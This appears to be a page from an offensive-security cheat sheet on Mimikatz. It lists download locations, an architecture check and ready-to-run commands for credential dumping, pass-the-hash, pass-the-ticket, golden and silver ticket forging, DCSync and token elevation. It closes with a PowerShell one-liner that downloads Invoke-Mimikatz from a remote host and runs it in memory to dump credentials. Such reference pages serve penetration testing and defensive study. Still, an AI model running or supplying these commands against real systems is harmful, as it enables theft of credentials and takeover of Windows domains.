Documentation Index
Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
Use this file to discover all available pages before exploring further.
Download
GitHub (Official)
# Latest release
https://github.com/gentilkiwi/mimikatz/releases
Kali Linux (Pre-installed)
# Binaries location
ls /usr/share/windows-resources/mimikatz/
# Win32
/usr/share/windows-resources/mimikatz/Win32/mimikatz.exe
# x64
/usr/share/windows-resources/mimikatz/x64/mimikatz.exe
PowerShell Version (Invoke-Mimikatz)
# Empire's version (most maintained)
https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1
Check Target Architecture
Pick correct binary (Win32 or x64) based on target OS.
wmic os get osarchitecture
[Environment]::Is64BitOperatingSystem
echo %PROCESSOR_ARCHITECTURE%
| Output | Binary |
|---|
64-bit / AMD64 / True | x64/mimikatz.exe |
32-bit / x86 / False | Win32/mimikatz.exe |
Using wrong architecture = crash or silent failure. Always check before running.
Setup
mimikatz.exe
privilege::debug
Expected output: Privilege '20' OK — means SeDebugPrivilege enabled.
Credential Dumping
Dump SAM (Local Accounts)
Dump LSASS (Logged-on Users)
Dump Cached Domain Credentials
Dump LSA Secrets
Export Kerberos Tickets
sekurlsa::tickets /export
Pass-the-Hash (PtH)
sekurlsa::pth /user:Administrator /domain:target.local /ntlm:<hash>
Opens new cmd.exe as target user. Combine with psexec or wmiexec for remote access.
Pass-the-Ticket (PtT)
Inject existing ticket
kerberos::ptt <ticket.kirbi>
Verify
Golden Ticket
Requires krbtgt NTLM hash + domain SID.
kerberos::golden /user:Administrator /domain:target.local /sid:<domain-SID> /krbtgt:<ntlm-hash> /ptt
Get Domain SID
Or via PowerView:
Silver Ticket
Forges TGS for specific service. Requires service account NTLM hash.
kerberos::golden /user:Administrator /domain:target.local /sid:<domain-SID> /target:<server> /service:<service> /rc4:<ntlm-hash> /ptt
Common services: cifs, http, mssql, ldap, host.
DCSync
Simulates domain controller replication to pull hashes remotely.
lsadump::dcsync /domain:target.local /user:Administrator
All users:
lsadump::dcsync /domain:target.local /all /csv
Token Manipulation
token::elevate
token::elevate /domainadmin
Dump Wi-Fi Passwords
One-Liners
Dump creds and exit
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > creds.txt
PowerShell in-memory
IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds